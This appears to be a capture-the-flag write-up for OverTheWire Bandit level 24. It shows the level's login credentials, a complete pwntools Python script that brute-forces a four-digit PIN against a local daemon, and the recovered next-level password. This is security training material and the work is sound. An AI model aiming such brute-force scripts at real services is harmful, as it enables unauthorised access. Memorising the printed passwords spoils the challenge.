Warning: This post contains a solution!
Continue only if:
1.) you want to see a possible alternative solution or
2.) you are stuck and need a hint!
Connect to the server using the following credentials:
Server: bandit.labs.overthewire.org
Port: 2220
Username: bandit24
Password: UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Level Goal is:
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
First of all create a temporary folder to work in.
bandit24@bandit:~$ mkdir /tmp/lvl2425
Next, check manually how the daemon is working. To do so, connect to port 30002
on localhost
using telnet
or in my case nc
.
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
From the description we know, that we have to send the password from the current level and a 4-digit pincode separated by a space. To brute-force the pincode, we need to know, what the error message looks like. Just enter the password from the current level and a dummy 4-digit pincode and see what happens.
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4242
Wrong! Please enter the correct pincode. Try again.
Now we know the error message and can react to it in our brute-force script.
I've written the script in python and used the pwntools CTF toolkit for the first time here, but there are tons of other possible solutions.
#!/usr/bin/python
from pwn import *
from multiprocessing import Process
def brute(nrOne,nrTwo):
for pin in range(nrOne,nrTwo):
pin = str(pin).zfill(4)
r = remote('127.0.0.1', 30002)
r.recv()
r.send('UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ ' + pin + '\n')
if 'Wrong' not in r.recvline():
print '[+] Successful -> ' + pin
print r.recvline()
r.close()
else:
if int(pin) % 100 == 0:
print '[!] Failed -> ' + pin
r.close()
if __name__=='__main__':
p1 = Process(target = brute, args = (0,2500,))
p2 = Process(target = brute, args = (2500,5000,))
p3 = Process(target = brute, args = (5000,7500,))
p4 = Process(target = brute, args = (7500,10000,))
p1.start()
p2.start()
p3.start()
p4.start()
The script is overengineered for this task, but I wanted to play around with pwntools and Process, after a long long time not using python. I've started the brute
function four times and assigned a pincode range to each process to speed up the task. After a short time the password for the next level appears.SILENT=1
disables the pwntools output that appears every time a connection is established or closed.
bandit24@bandit:/tmp/lvl2425$ python brute.py SILENT=1
...
[!] Failed -> 5000
[!] Failed -> 5100
[!] Failed -> 5200
[!] Failed -> 5300
[!] Failed -> 5400
[!] Failed -> 8000
[!] Failed -> 3000
[!] Failed -> 0500
[!] Failed -> 5500
[!] Failed -> 8100
[!] Failed -> 3100
[!] Failed -> 5600
[!] Failed -> 0600
[+] Successful -> 8106
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
The password is: uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Don't forget to delete the temporary folder:
bandit24@bandit:~$ rm -rf /tmp/lvl2425